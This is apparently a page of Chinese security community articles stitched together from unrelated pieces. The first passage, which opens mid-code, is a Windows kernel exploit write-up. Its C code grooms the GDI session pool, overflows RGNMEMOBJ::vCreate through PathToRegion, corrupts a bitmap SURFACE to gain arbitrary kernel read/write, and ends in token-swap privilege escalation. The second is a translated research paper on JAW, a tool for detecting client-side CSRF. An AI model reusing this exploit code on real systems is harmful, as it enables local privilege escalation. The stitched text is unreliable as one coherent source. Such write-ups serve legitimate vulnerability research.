hbitmap[i] = CreateBitmap(0xE34, 0x01, 1, 8, NULL);
}
for (LONG i = 0; i < 7000; i++)
{
ACCEL acckey[0x0D] = { 0 };
hacctab[i] = CreateAcceleratorTableA(acckey, 0x0D);
}
for (LONG i = 2000; i < 4000; i++)
{
DestroyAcceleratorTable(hacctab[i]);
hacctab[i] = NULL;
}
DebugBreak();
BOOL ret = FALSE;
for (LONG i = 0; i < maxCount; i++)
{
point[i].x = i + 1;
point[i].y = i + 2;
}
HDC hdc = GetDC(NULL); // get dc of desktop hwnd
BeginPath(hdc); // activate the path
for (LONG i = maxCount; i > 0; i -= min(maxLimit, i))
{
ret = PolylineTo(hdc, &point[maxCount - i], min(maxLimit, i));
}
EndPath(hdc); // deactivate the path
HRGN hRgn = PathToRegion(hdc);
return 0;
}
因为0x18字节不方便占位，所以我们稍微提高画线数目为0x6666667，使得分配0x68大小的内存，加上0x8字节的POOL_HEADER就是0x70字节。我们先调用`CreateBitmap`
函数申请大量的`0xF90` 大小的内存块，以留下足够多的 `0x70` 字节间隙作为 `RGNMEMOBJ::vCreate`函数分配 `0x70`
字节内存块时的空间候选。但是因为SURFACE结构本身就要占用0x154字节，所以使用 `CreateAcceleratorTable` 函数。通过调用比
`CreateBitmap` 更多次数的 `CreateAcceleratorTableA` 函数创建 `AcceleratorTable`
内核对象以填充内存空隙、然后在其中制造空洞的方式，为使 `RGNMEMOBJ::vCreate` 分配的内存块能够命中我们安排的空洞提升更大的概率。随后通过
`DestroyAcceleratorTable` 函数释放掉中间一部分 `AcceleratorTable` 对象，为
`RGNMEMOBJ::vCreate` 函数留下足够多的机会。
现在，`RGNMEMOBJ::vCreate` 函数分配的内存块成功命中在我们安排的内存间隙中，其相邻的内存页也都符合我们先前构造的内存布局。
## 溢出覆盖内存块
因为创建的线条实在太多，会进行很大范围的内存访问，不利于后续操作，我们需要限制`AddEdgeToGET` 函数的访问范围。
if ( pClipRect )
{
if ( iYEnd < pClipRect->top || iYStart > pClipRect->bottom )
return pFreeEdge;
if ( iYStart < pClipRect->top )
{
bClip = 1;
iYStart = pClipRect->top;
}
if ( iYEnd > pClipRect->bottom )
iYEnd = pClipRect->bottom;
}
ipFreeEdge_Y = (iYStart + 15) >> 4;
*((_DWORD *)pFreeEdge + 3) = ipFreeEdge_Y;
*((_DWORD *)pFreeEdge + 1) = ((iYEnd + 15) >> 4) - ipFreeEdge_Y;
if ( ((iYEnd + 15) >> 4) - ipFreeEdge_Y <= 0 )
return pFreeEdge;
函数中存在两处跳过当前边而直接返回的判断逻辑，返回时由于忽略当前边的数据，所以 `pFreeEdge`
指针不向后移。第二处返回逻辑的判断条件是：当前两点描述的边中，结束坐标点的 Y 轴坐标是否与起始坐标点的 Y 轴坐标相等；如果 Y
轴坐标相等，则忽略这条边，直接返回当前 `pFreeEdge` 指针指向的地址。此处的右移 `4` 比特位只是在还原之前在
`EPATHOBJ::createrec` 和 `EPATHOBJ::growlastrec` 函数中存储坐标点时左移 `4`
比特位的数值。因此通过控制各坐标点的 Y 轴坐标值就可以控制从起始位置开始连续写入的 `EDGE` 个数。
域 `sizlBitmap` 位于 `0xfe29d028` 位置，域 `pvScan0` 位于 `0xfe29d038`
位置。两者的值都没有被复写成理想的值，但是注意到有几处地址的数据被修改成 `0xFFFFFFFF` 这样的特殊值。这样一来就不能使位图 `SURFACE`
对象直接作为内存页的起始位置，需要在 `EDGE` 缓冲区内存块和位图 `SURFACE` 对象内存块之间增加“垫片”，以使 `0xFFFFFFFF`
这样的特殊值能被覆盖到我们特别关注的域中。
## 垫片
这个垫片的作用其实就是把 `EDGE`
缓冲区内存块前面的`f90`内存块分成两个内存块，内存页起始位置我们申请一块内存来占位，大小合适的话就可以使切割出来的堆块的域 `sizlBitmap`
被修改成 `0xFFFFFFFF`
。我们先释放掉所有的`f90`内存块，然后分配一块较大但是又不超过`f90`的内存块，这里使用设置剪贴板的方式来分配用作垫片的缓冲区，在不调用函数
`OpenCliboard` 并清空剪贴板数据的前提下调用 `SetClipboardData`
函数会发生潜在的内存泄露，被分配的剪贴板数据对象在当前活跃会话生命周期内将会一直存在于分页会话池当中。但正因为这个特性，在后续通过漏洞溢出覆盖该对象的数据结构之后，不用担心在会在发生销毁对象时触发异常的问题，内存泄露的问题只能作为该验证代码的一个小缺憾。修改后的触发代码如下：
#include <Windows.h>
#include <wingdi.h>
#include <iostream>
CONST LONG maxCount = 0x6666667;
CONST LONG maxLimit = 0x4E2000;
static POINT point[maxCount] = { 0 };
CONST LONG maxTimes = 5000;
CONST LONG tmpTimes = 7000;
static HBITMAP hbitmap[maxTimes] = { NULL };
static HACCEL hacctab[tmpTimes] = { NULL };
VOID
CreateClipboard(DWORD Size)
{
PBYTE Buffer = (PBYTE)malloc(Size);
FillMemory(Buffer, Size, 0x41);
Buffer[Size - 1] = 0x00;
HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, (SIZE_T)Size);
CopyMemory(GlobalLock(hMem), Buffer, (SIZE_T)Size);
GlobalUnlock(hMem);
SetClipboardData(CF_TEXT, hMem);
}
int main(int argc, char* argv[])
{
for (LONG i = 0; i < maxCount; i++)
{
point[i].x = i + 1;
point[i].y = 5; // same values to ignore
}
for (LONG i = 0; i < 75; i++)
{
point[i].y = i + 1; // to rewrite such edge elements.
}
HDC hdc = GetDC(NULL);
auto ret = BeginPath(hdc);
for (LONG i = maxCount; i > 0; i -= min(maxLimit, i))
{
ret = PolylineTo(hdc, &point[maxCount - i], min(maxLimit, i));
}
ret = EndPath(hdc);
// 0xF90+0x70=0x1000
for (LONG i = 0; i < 4000; i++)
{
// 0xE34+0x154+8=0xF90
hbitmap[i] = CreateBitmap(0xE34, 0x01, 1, 8, NULL);
}
for (LONG i = 0; i < 5500; i++)
{
ACCEL acckey[0x0D] = { 0 };
// 0x0D*6+0x12+4+8~0x70
hacctab[i] = CreateAcceleratorTableA(acckey, 0x0D);
}
for (LONG i = 0; i < 4000; i++)
{
// free original bitmaps
ret = DeleteObject(hbitmap[i]);
hbitmap[i] = NULL;
}
// 0xB70+0x420=0xF90
for (LONG i = 0; i < 4000; i++)
{
// create shim clipdatas
// 0xB5C+0xC+8=0xB70
CreateClipboard(0xB5C);
}
for (LONG i = 0; i < 4000; i++)
{
// create usable bitmaps
// 0xB1*0x01*4+0x154+8=0x420
hbitmap[i] = CreateBitmap(0x01, 0xB1, 1, 32, NULL);
}
for (LONG i = 2000; i < 4000; i++)
{
// dig hole to place edge buffer
ret = DestroyAcceleratorTable(hacctab[i]);
hacctab[i] = NULL;
}
DebugBreak();
PathToRegion(hdc);
return 0;
}
接着我们跟进一下看看内存到底有没有被成功覆盖
成员`sizlBitmap.cy` 被覆盖成 `0xFFFFFFFF`，而 `pvScan0` 成员的值并未被污染，我们就可以利用该
`sizlBitmap.cy` 成员值的广阔范围，将当前位图 `SURFACE` 对象作为主控位图对象，通过其对位于下一内存页中的位图 `SURFACE`
对象进行操作，将其作为扩展位图 `SURFACE` 对象，覆盖其 `pvScan0` 指针为我们想读写的地址，随后再通过 API 函数操作扩展位图
`SURFACE` 对象，实现“指哪打哪”的目的。
## 定位位图句柄
pBmpHunted = (PDWORD)malloc(0x1000); // memory stub
LONG index = -1;
POCDEBUG_BREAK();
for (LONG i = 0; i < 4000; i++)
{
if (GetBitmapBits(hbitmap[i], 0x1000, pBmpHunted) > 0x2D0)
{
index = i;
break;
}
}
hbmpmain = hbitmap[index];
我们通过循环调用 `GetBitmapBits` 函数遍历位图句柄数组以定位被覆盖数据的位图 `SURFACE` 对象的句柄，获取 `0x1000`
字节的一整个内存页大小的位图数据。大部分配有被覆盖数据的位图 `SURFACE` 对象的像素点数据区域大小仍旧是原来的
`0xB1*0x01*4=0x2C4` 字节大小，所以返回值只可能是不超过 `0x2C4` 的数值；而针对被我们覆盖数据的主控位图 `SURFACE`
对象而言，由于 `sizlBitmap` 成员的值被覆盖成 `0x01` 和 `0xFFFFFFFF`
数值，所以在计算位图像素点数据“实际大小”时，计算出来的结果是 `0x(3)FFFFFFFC`，这是一个发生溢出的数值，高于 `32`
位的数据被舍弃。这样的话，当遍历到主控位图对象的句柄时，函数的返回值将必然是比 `0x2D0` 大的数，因此得以命中。命中成功后 `pBmpHunted`
缓冲区中就存储了从当前位图对象的位图像素点数据区域起始地址开始的 `0x1000` 字节范围的内存数据。
BOOL xxPointToHit(LONG addr, PVOID pvBits, DWORD cb)
{
LONG ret = 0;
pBmpHunted[iExtpScan0] = addr;
ret = SetBitmapBits(hBmpHunted, 0x1000, pBmpHunted);
if (ret < 0x1000)
{
return FALSE;
}
ret = SetBitmapBits(hBmpExtend, cb, pvBits);
if (ret < (LONG)cb)
{
return FALSE;
}
return TRUE;
}
接着定位拓展位图对象，因为在句柄表中二者不一定相邻，所以我们可以讲拓展位图的大小修改，再通过上面的办法来遍历拓展位图的句柄。接着通过主控位图
`SURFACE` 对象控制扩展位图 `SURFACE` 对象的 `SURFACE->so.pvScan0` 成员域的值，这样一来只要将扩展位图
`SURFACE` 对象的 `SURFACE->so.pvScan0`
成员域修改为任意内核地址，便可轻松实现对内核任意地址的读写，“指哪打哪”的目的就实现了。
## 提权
这一部分就大同小异了，直接替换Token就好。至此，我们成功实现了提权。
# 参考文章
<https://xiaodaozhi.com/exploit/56.html>
<https://www.anquanke.com/post/id/93105> | 社区文章 |
客户端CSRF是一种新型的CSRF漏洞，攻击者可以通过修改程序的输入参数，欺骗客户端JavaScript程序将伪造的HTTP请求发送到易受攻击的目标站点。现有研究对这个新漏洞几乎一无所知，而基于JavaScript的Web应用程序的探索性安全性评估由于缺乏可靠且可扩展的测试技术而受到阻碍。本文介绍了工具JAW（<https://github.com/SoheilKhodayari/JAW>
），该工具可利用混合属性图上的声明式遍历（针对JavaScript程序的标准混合模型），针对客户端CSRF来分析现代Web应用程序。
本研究使用JAW评估了Bitnami目录中所有（即106个）Web应用程序中客户端CSRF漏洞的普遍性，涵盖了超过2.28亿行JavaScript代码。本文工具发现了12,701个可伪造的客户端请求，总共影响了87个Web应用程序。对于203个可伪造的请求，针对七个Web应用程序成功创建了客户端CSRF攻击，这些Web应用程序可以执行任意服务器端状态更改操作或启用跨站点脚本和SQL注入，而这是传统攻击向量无法实现的。最后分析了可伪造的请求并确定了25个请求模板，突出显示了可以操纵的字段和操纵的类型。
## 0x01 简介
客户端跨站点请求伪造（客户端CSRF）是影响现代Web应用程序的新型CSRF漏洞。与更传统的CSRF一样，攻击者可以短暂访问恶意URL，从而诱骗受害者的浏览器以用户的名义向目标网站发送经过身份验证的，对安全性敏感的HTTP请求，而无需用户的同意或意识到。在传统的CSRF中，易受攻击的组件是服务器端程序，该程序无法区分传入的身份验证请求是否是有意执行的，也称为混淆代理问题。通常通过添加伪随机不可预测的请求参数，防止伪造或更改默认浏览器的行为并避免在跨站点请求中包含HTTP
cookie。在客户端CSRF中，易受攻击的组件是JavaScript程序，它使攻击者可以通过修改JavaScript程序的输入参数来生成任意请求。与传统的CSRF相反，现有的反CSRF对策不足以保护Web应用程序免受客户端CSRF攻击。
客户端CSRF非常新，它在2018年首次影响了Facebook
，而且研究者几乎不了解易受攻击的行为，新漏洞的严重性以及利用情况。研究新漏洞不是一件容易的事，因为它需要每个真实的Web应用程序收集和分析数百个网页。不幸的是，此类分析主要由于缺乏适用于检测和分析易受攻击的JavaScript行为的可靠且可扩展的工具而受到阻碍。
通常，研究基于JavaScript的Web应用程序中的客户端CSRF漏洞并非易事。首先，没有JavaScript代码的规范表示。其次，JavaScript程序是事件驱动的，需要模型来捕获这方面并将其纳入规范表示中。第三，由于JavaScript程序及其执行环境的动态特性，纯静态分析通常不够准确，因此需要混合静态+动态分析技术。最后，JavaScript库构成了跨网页的代码中值得注意的一部分，并且反复分析它们会导致效率低下的模型，不适合检测漏洞。
在本文中，通过提出混合属性图（HPG）来解决这些挑战，该属性图是客户端JavaScript程序的一种基于图的一致表示形式，可以捕获静态和动态程序行为。受先前工作的启发，使用属性图进行模型表示和声明式图遍历，以识别对安全敏感的HTTP请求，这些请求消耗来自攻击者可控源的数据值。另外介绍了JAW，这是一个用于检测客户端CSRF的工具，该框架从种子URL开始，通过自动收集Web资源并监视程序执行来实例化HPG。
## 0x02 背景
### A.客户端CSRF
客户端CSRF是一类新的CSRF漏洞，攻击者可以通过操纵该程序的输入参数来欺骗客户端JavaScript程序，以将伪造的HTTP请求发送到易受攻击的目标站点。在客户端CSRF攻击中，攻击者诱使受害者单击属于攻击者控制的网页或诚实但易受攻击的网站的恶意URL，从而导致目标网站的与安全性相关的状态更改。
**影响：**
与经典CSRF相似，可以利用客户端CSRF在服务器端执行对安全敏感的操作并损害数据库完整性。成功的CSRF攻击可能导致远程执行代码，非法汇款或假冒和身份欺诈等等。
**根本原因：**
当JavaScript程序使用攻击者控制的输入（例如URL）来生成传出的HTTP请求时，就会产生客户端CSRF漏洞。下面将讨论操作不同的JavaScript输入源所需的功能。
**威胁模型：**
攻击者的总体目标是通过操纵各种JavaScript输入源来伪造客户端HTTP请求。在本文中考虑URL，窗口名称，文档引荐来源网址，postMessages，Web存储，HTML属性和cookie，它们各自需要不同的攻击者功能。操纵URL，窗口名称，引荐来源网址和postMessages要求攻击者能够伪造URL或控制恶意网页。例如，网络攻击者可以制作一个恶意URL，该URL属于诚实但易受攻击的网站的来源，当受害者访问该URL时，目标站点的JavaScript程序会自动提交HTTP请求。
网络攻击者可以控制恶意页面，并使用浏览器API欺骗目标页面的易受攻击的JavaScript，以发送HTTP请求。例如，网络攻击者可以使用window.open(
)在新窗口中打开目标URL，将postMessages发送到打开的窗口，或通过window.name
API设置窗口名称。此外，Web攻击者可以利用攻击者控制的网页的URL来操纵document.referrer。
对于Web存储和HTML属性，攻击者需要在Web存储或DOM树中添加临时数据项。
Web攻击者可以假设Web应用程序提供了这样的功能（例如，通过HTTP请求）来实现。同样，了解XSS漏洞的Web攻击者可以操纵Web存储或DOM树。最后，修改Cookie可能需要强大的攻击者，例如网络攻击者。攻击者可以通过修改可能处于休眠状态的cookie将永久的客户端CSRF有效载荷植入受害者的浏览器中，然后利用该cookie攻击受害者。注意到，网络攻击者也可以执行网络攻击者执行的所有攻击。
**漏洞：** Listing
1展示了一个易受攻击的脚本，该脚本基于本研究在SuiteCRM中发现的真实漏洞，该脚本在页面加载期间通过HTTP请求获取购物发票。首先，程序获取一个具有id输入的HTML输入字段（第1行），然后定义一个事件处理程序h，该事件处理程序h负责通过异步请求获取发票的价格，并使用价格填充输入（第2-9行）。对于异步请求，函数h使用YUI库，该库为低级XMLHttpRequest浏览器API提供了包装asyncRequest。然后，将函数h注册为名为loadInvoice的自定义事件的处理程序。此事件由函数showInvoicePrice分派（第14-16行）。当JavaScript程序使用URL片段存储HTTP请求的服务器端终结点时，就会发生此漏洞（第3-5行），攻击者可以修改该输入。
**攻击：** 上图显示了利用Listing
1的客户端CSRF漏洞进行攻击的示例。首先，攻击者通过将目标站点的URL作为URL片段插入来准备易受攻击站点的URL（步骤1）。然后，诱使受害者访问易受攻击的URL（步骤2），因为它属于用户信任的应用程序。页面加载完成后（步骤3），JavaScript代码将从URL片段中提取URL，并向目标站点发送异步HTTP请求，这又会导致目标服务器上与安全性相关的状态更改。
**现有防御措施无效：** 在过去的几年中，社区提出了针对CSRF的几种防御措施。最近，浏览器供应商提议通过将所有cookie都默认标记为SameSite
=
Lax来引入更严格的相同站点cookie策略。不幸的是，现有机制无法提供针对客户端CSRF攻击的完整保护，例如，当使用同步Token或自定义HTTP标头时，JavaScript程序会将它们包括在外发请求中，如图所示Listing
1的第7行中。此外，如果浏览器或网站对cookie使用同一站点策略，则JavaScript网页一旦加载，便可以执行初步的同一站点请求，以确定是否存在预先建立的用户会话绕过同一个网站政策。
### B.挑战
在这项工作中，打算在Web应用程序的客户端JavaScript代码中研究新的客户端CSRF漏洞。在提出解决方案之前，将展示实现目标所需要解决的挑战。
**（C1）静态表示模型：**
通过静态分析来分析JavaScript程序具有极大的挑战性。例如，先前的工作提出了过程间控制流程图，数据流相关性图表，类型分析器和指向分析。不幸的是，这些方法提供了程序的临时表示，每个方法都集中在一个单独的方面，而这不足以研究客户端CSRF。最近看到了一些新的想法，它们将静态表示与代码属性图（CPG）统一在一起。但是，这些新想法并不是针对JavaScript的细微差别而定制的，例如异步事件或执行环境。迄今为止，还没有用于JavaScript的模型可以提供规范的表示形式来进行代码的检测和探索性分析。
**（C2）特定于漏洞的分析工具：**
在过去的几年中，已经有很多方法可以检测客户端JavaScript程序中的漏洞。迄今为止，这些方法已主要应用于XSS或逻辑和验证漏洞，这些工具与漏洞的具体分析紧密结合在一起。因此，试图研究新的客户端漏洞（如客户端CSRF）的研究人员被迫重新实施那些重新发现调整和陷阱的方法。
**（C3）基于事件的控制权转移：**
现有的统一表示形式（例如CPG）假设控制权的转移仅通过函数调用发生，而这一假设不再适用于JavaScript。在JavaScript中，控制转移也通过事件发生，这些事件要么源于环境，例如鼠标事件，要么是用户定义的，如清单1所示。当分派一个事件时，将执行一个或多个注册函数，这些事件将被执行。可以更改程序的状态，注册新的处理程序并触发新事件。表示通过事件处理程序进行的控制转移是分析JavaScript程序的基础。
**（C4）动态Web执行环境：**
JavaScript程序依赖于许多动态行为，因此很难通过纯静态分析来研究它们。一个典型的例子是动态代码加载。本质上，就像其他资源一样，JavaScript程序可以流式传输到用户的Web浏览器。因此，与大多数静态分析方法中的假设相反，整个JavaScript代码可能无法用于分析。另一个示例是JavaScript与DOM树之间的交互。例如，考虑两个包含相同DOM树节点的变量；但是，一个变量的内容是通过document.querySelector（“
input”）获取的，而另一个是通过document.form [0]
.input获取的。在这种情况下，确定两个变量是否指向同一个对象（即指向分析）通常很重要。但是，通过查看源代码很难确定这一点，因为DOM树通常是由同一程序生成的。
**（C5）共享的第三方代码：**
大多数现代的Web应用程序至少包括一个第三方JavaScript库，例如jQuery，以从其对低级浏览器API的强大抽象中受益。客户端CSRF的检测需要能够确定程序何时执行HTTP请求，以及程序何时将低级网络操作委托给库。同样，库函数可以是程序数据流的一部分。
迄今为止，现有方法的效率非常低，因为它们在分析中包括了库的源代码。观察到外部库占每个网页的JavaScript代码行总数的60.55％，因此即使在访问同一Web应用程序的新页面时，也需要使用现有技术来重新处理相同的代码。一种替代方法包括创建手工制作的库模型。尽管这种方法在对低级浏览器API进行建模时很有效，但无法很好地扩展到外部库。首先，外部库的更新频率要高于浏览器API，其次，JavaScript程序可以使用许多替代库。
### C.方法概述
为了克服挑战，本研究提出了混合属性图（以下简称HPG），这是JavaScript程序的基于图的规范模型。此外，提出了JAW，这是一个从种子URL开始构建HPG的工具，并利用声明式性图遍历来检测客户端CSRF。本文方法解决了以下挑战：
**（C1）** HPG为JavaScript源代码提供统一的规范表示，类似于C / C ++ [91]和PHP [33]的代码属性图。
**（C2）**
定义HPG并开发JAW，以能够执行各种安全任务，即对客户端CSRF漏洞的检测和探索性分析。将代码表示形式（图）与分析（遍历）解耦可能会使JAW更适合重用（就像其他基于CPG的方法一样）。但是，由于研究目标是研究客户端CSRF，因此在本文中，既不针对HPG，也不主张HPG可重用性。
**（C3）** HPG通过提出事件注册，调度和依赖关系图（ERDDG）来捕获JavaScript的细微差别，例如基于事件的控制转移。
**（C4）** HPG通过Web环境的快照（例如DOM树）和JavaScript事件的痕迹捕获客户端JavaScript程序的Web执行环境的动态。
**（C5）** JAW可以生成外部库的可重用符号模型，这些模型将在HPG中用作代理。
JAW输入输入要测试的应用程序的种子URL。然后，它使用网络爬虫来访问目标。在访问期间，JAW存储JavaScript和HTML代码，并监视执行情况，以捕获DOM树，HTTP请求，注册的处理程序和触发事件的快照。通过使用用于公共库的已知签名的数据库，JAW可以识别外部库并为每个库生成一个符号模型。符号模型由库的元素（例如函数名称）和一组表征其行为的语义类型之间的映射组成。然后，JAW为每个存储的页面构建HPG，并将HPG与预先生成的语义模型链接。最后，JAW可以查询HPG，以检测或交互式探索客户端CSRF漏洞。
## 0x03 混合属性图
本节介绍混合属性图（HPG）。
HPG由代码表示形式和状态值组成。代码表示统一了JavaScript程序的多个表示，而状态值是在程序执行期间观察到的具体值的集合。使用标记的属性图对二者进行建模，其中节点和边可以具有标签和一组键值属性。以下示例显示了一个图形，其中li是节点标签，rj是关系标签。节点和边可以通过使用属性（键值映射）存储数据。
### A.代码表示
代码表示对JavaScript源代码进行建模，并建立在代码属性图（CPG）概念的基础上，该概念结合了C程序的三种表示形式，即抽象语法树，控制流图和程序依赖图。后来，同样的想法被改用于研究PHP程序，用调用图扩展了CPG。
HPG通过事件注册，分派和依赖关系图以及语义类型进一步扩展了CPG。
**抽象语法树（AST）：**
AST是对程序进行分层分解以对其句法构造进行编码的有序树。在AST中，终端节点代表发送的操作数（例如，标识符），并且非终端节点对应于运算符（例如，分配）。在下图中，AST节点用舍入框表示。终端节点以粗体斜体表示，而非终端节点全为大写字母。
AST边按照语言语法的产生规则将AST节点彼此连接，例如，在Lisitng
1的第10行中，i.addEventListener（'loadInvoice'，h）是具有三个子代的调用表达式（CALL_EXP），成员表达式（MMBR_EXP）i.addEventListener，文字'loadInvoice'和标识符h。
AST节点是代码表示的核心节点，为其余模型提供了构建块。
**控制流程图（CFG）：**
CFG描述了程序指令的执行顺序以及将控制流转移到特定执行路径所需的条件。在上图使用非终端AST节点之间的边（绿色）对CFG进行了建模。
CFG边有两种类型：有条件的（来自谓词，并用true或false标记）和无条件的（用ε标记）。函数的CFG以入口节点开始，以出口节点结束，标记了函数作用域的边界。这些分散的过程内流通过过程间调用边相互连接，如下所述。
**过程间调用图（IPCG）：**
IPCG允许对JavaScript程序进行过程间静态分析。它与程序中的每个调用站点关联可以从该站点调用的功能集。例如，Lisitng
1中第16行的表达式showInvoicePrice（'input'）要求执行第14行的函数showInvoicePrice。将IPCG集成到代码表示中，并带有定向调用边，例如，请参见上图C_EXP
AST节点和F_DECL AST节点。
**程序依赖图（PDG）：** 变量的值取决于一系列语句和谓词，PDG对这些依赖关系进行建模。
PDG的节点是非终端AST节点，边表示数据或控件相关性。数据相关性边指定在源节点上定义的变量x以后将在目标节点上使用，标记为Dx。例如，在上图变量uri在第3行中（由VAR_DECL声明），并在第4行中（在IF_STMT中）使用，因此PDG边（蓝色）将它们连接在一起。控制依赖项边反映了目标语句的执行取决于谓词，并由Ct或Cf标记，该条件对应于真或假条件，例如，第7行中CALL_EXP的执行取决于中的IF_STMT谓词第4行。
**事件注册、调度和依赖性图（ERDDG）：**
ERDDG打算对JavaScript程序的事件驱动执行范例以及事件处理程序之间的细微依赖关系进行建模。在ERDDG中，节点是非终端AST节点，使用三种类型的边对执行和依赖关系进行建模。第一个边对事件的注册进行建模，例如Lisitng
1中的第10行将h注册为自定义事件loadInvoice的处理程序。用节点C_EXP（即addEventListener的调用站点）和节点F_DECL（即定义函数h的语句）之间类型注册的边来表示事件的注册。第二个边模拟事件的分发。例如，Lisitng
1中的第15行调用浏览器API
dispatchEvent来调度loadInvoice事件类型的处理程序的执行。使用类型调度的边对控制转移进行建模。例如，参见上图15行的C_EXP节点与注册处理程序的C_EXP之间的边（红色）。最后一个边对语句和事件之间的依赖关系进行建模。通过处理程序声明的AST节点与处理程序声明的AST节点之间的边实现依赖关系。上图显示了第2行的F_DECL节点和函数主体的边。
**语义类型：** 客户端CSRF的检测需要标识语句，这些语句发送HTTP请求，并使用来自预定义源的数据值。
通过语义类型对语句的属性进行建模，语义类型是分配给程序元素的预定义字符串。
然后，在计算程序之后，将类型传播到整个代码中，例如，可以将类型WIN.LOC分配给window.location，然后将其传播到PDG，CFG，IPCG和ERDDG边之后的其他节点。
在上图中，对于WIN.LOC类型，使用了一个蓝色填充圆，该圆在Duri
PDG边之后传播，即第3、4和5行的uri。语义类型也可以分配给函数以指定其语义行为抽象。
例如，可以对所有允许JavaScript程序发送HTTP请求（例如fetch或XMLHttpRequest）的浏览器API使用字符串REQ。
HPG将语义类型建模为AST节点的属性。
**符号建模：**
在分析程序的源代码时，需要考虑第三方库的行为。从每个库中提取一个符号模型，并将其用作分析应用程序代码的代理。在这项工作中，符号模型是将语义类型分配给库的函数和对象属性。例如，在上图中，可以为asyncRequest术语使用语义类型REQ（用橙色实心圆表示），并提取其实际代码。同样，为了重构使用库函数的程序的数据流，定义了两种语义类型，它们对库函数的过程内输入输出依存关系进行建模。对于输入数据值流向返回值的函数，使用语义类型o←i;对于输出取决于输入值（例如，通过IF_STMT）的函数，使用o〜i类型。库的符号建模由JAW自动执行，JAW在库元素和语义类型列表之间创建映射。
### B.状态值
JavaScript程序具有动态行为，这些行为很难通过静态分析进行分析。因此增强了HPG，以包括在运行时收集的具体数据值，并将它们链接到对应的代码表示形式。
**事件跟踪：**
为了捕获由于静态分析或自动触发事件的局限性而无法建模的一组激发事件，使用事件的动态跟踪来扩充静态模型。事件跟踪是在执行网页期间观察到的一系列具体事件。例如，用于HTTP请求响应的负载事件或网络事件。在可能的情况下，使用在页面加载时触发的事件跟踪来激活ERDDG图中的其他注册边。如上图所示，事件跟踪图的节点表示在运行时观察到的具体事件，而边表示其顺序。
**环境属性：** 环境属性是全局窗口和文档对象的属性。
JavaScript程序的执行路径和变量的值可能会根据环境属性的值而有所不同。通过为动态观察到的特性创建具体值图来丰富HPG，还存储HTML
DOM树的快照。如果变量的值是从DOM API获得的，则可以从树中解析实际值。使用DOM树来定位DOM
API所引用的对象，例如，要确定事件分发是否以处理程序为目标，可以检查分发和注册是否在同一DOM对象上完成。为每个环境属性创建一个节点，并将具体值存储为该节点的属性。如上图所示，通过代表所有权或父子关系的边来连接这些节点。
### C.带有HPG的客户端CSRF分析
给定前文描述的HPG，现在使用它来检测和研究客户端CSRF。说当（i）从攻击者控制的输入到输出HTTP请求req的参数存在数据流，并且（ii）在页面加载时提交req时，JavaScript程序容易受到客户端CSRF的攻击。
使用图遍历对两个条件进行建模，即查询以从HPG中检索信息。在本研究工作中，使用声明性Cypher查询语言定义图遍历，但是在本文中，在保留声明性方法的同时，以集合符号和谓词逻辑来举例说明Cypher语法。查询Q包含HPG的所有节点n，其谓词p（图模式）为true，即Q
=
{n：p（n）}。使用谓词定义节点的属性。例如，使用谓词hasChild（n，c）来表示节点n具有AST子项c。谓词的另一个示例是hasSemType（n，t），它表示语义类型为t的节点n。可以例如通过逻辑运算符来组合谓词以定义更复杂的查询。
**检测客户端CSRF：**
客户端CSRF漏洞的第一个条件是存在传出请求的攻击控制的输入参数。上图显示了来自真实示例的易受攻击代码的不同实例，其中通过构造，将WIN.LOC和REQ语义类型分配给AST节点，分别显示为蓝色和橙色框。对于上图的所有三种情况，目标是识别同时具有橙色和蓝色标签（标有红色箭头）的代码行。在较高的层次上，一行代码是JavaScript语句或声明（例如EXP_STMT，VAR_DECL）的非终端AST节点，用谓词isDeclOrStmt（n）表示。
然后，一旦确定了这样的AST节点n，就需要研究该节点是否具有两个子c1和c2，其中一个子节点为REQ类型，另一个子节点为WIN.LOC类型。
按照查询符号，可以编写：
查询1不足以确定是否存在客户端CSRF漏洞，因为返回的节点可能对应于页面加载时未执行的代码行。通过额外的可达性检查来完善它。通常，从isDeclOrStmt（n）这样的节点n开始，可以跟踪CFG的后向边（ε，true和false），以确定是否到达CFG入口节点。然后，每当到达函数定义（例如F_DECL）时，都会在IPCG调用边之后跳转到其所有调用位置。但这还不够，因为可以在触发特定事件时执行功能。因此，需要向后访问ERDDG边，即依赖关系边，然后是注册和调度边。分别处理特殊情况，在这些情况下，浏览器会在加载页面时自动触发事件。继续跟踪CFG，ERDDG和IPCG的后向边，直到到达CFG入口节点或不再有匹配任何先前条件的节点为止。如果CFG条目节点位于查询结果集中，则节点n是可访问的。
**脆弱行为分析：**
先前的查询可以识别客户端CSRF的一般易受攻击行为，即使用攻击者选择的数据值提交HTTP请求的程序。但是，程序可能会对输入进行各种检查，最终可能会影响开发环境。例如，在上图程序1显示了一个易受攻击的脚本，其脚本的第1行的域验证限制了攻击者操纵整个请求URL。但是，程序2显示了攻击者可以选择完整的URL字符串（包括路径和查询字符串）的情况。打算研究的客户端CSRF漏洞的一个方面是确定攻击者可以操纵传出请求的程度。例如，如果window.location属性流至请求参数而没有进行任何清理。查询2捕获了以下方面：
查询2检查由查询1返回的节点n1是否通过PDG边连接到赋值语句，该赋值语句的右侧子级是window.location的属性。谓词hasPDGPath（n2，n1）指定在PDG边之后存在从n2到n1的路径，并且isAssignment（n2）标记n2为VAR_DECL或ASSIGN_EXP节点。
要考虑的另一个方面是请求中攻击者可控项目的数量。例如，上图的程序3显示了一个更复杂的示例，其中，攻击者还可以控制请求正文的内容，从而增加了为易受攻击的行为创建利用漏洞的灵活性。为此，查询可以利用属于同一请求的元素之间的PDG依赖性，将属于同一HTTP请求的易受攻击的代码行聚类。然后，查询可以计算攻击者可控制的注入点的数量（例如，参见程序3第6行中的两个注入点以及第4行中的注入点）。
## 0x04 JAW
在本节中将介绍JAW，这是一个使用HPG研究客户端CSRF漏洞的框架。
JAW从网站的原始URL开始，使用启用JavaScript的网络搜寻器访问网页以收集Web资源。在访问期间，JAW还收集运行时状态值。然后，给定用户定义的语义类型及其对JavaScript语言标记的映射的列表，JAW构造HPG。建设分为两个阶段。首先，JAW识别程序所使用的外部JavaScript，并对其进行独立处理以提取符号模型。然后，它构造其余JavaScript代码的图，并将JavaScript程序的元素链接到状态值。最后，JAW通过在HPG上执行查询来分析客户端CSRF。下图概述了JAW的体系结构。
### A.数据收集
数据收集模块执行两项任务：爬取以发现来自不同用户状态的URL，以及为找到的每个网页收集JavaScript代码和状态值输入。数据收集模块的输入是被测Web应用程序的种子URL，以及可选的测试用例，以通过用户登录，例如，作为脚本化的Selenium任务或通过跟踪记录。
**爬虫：**
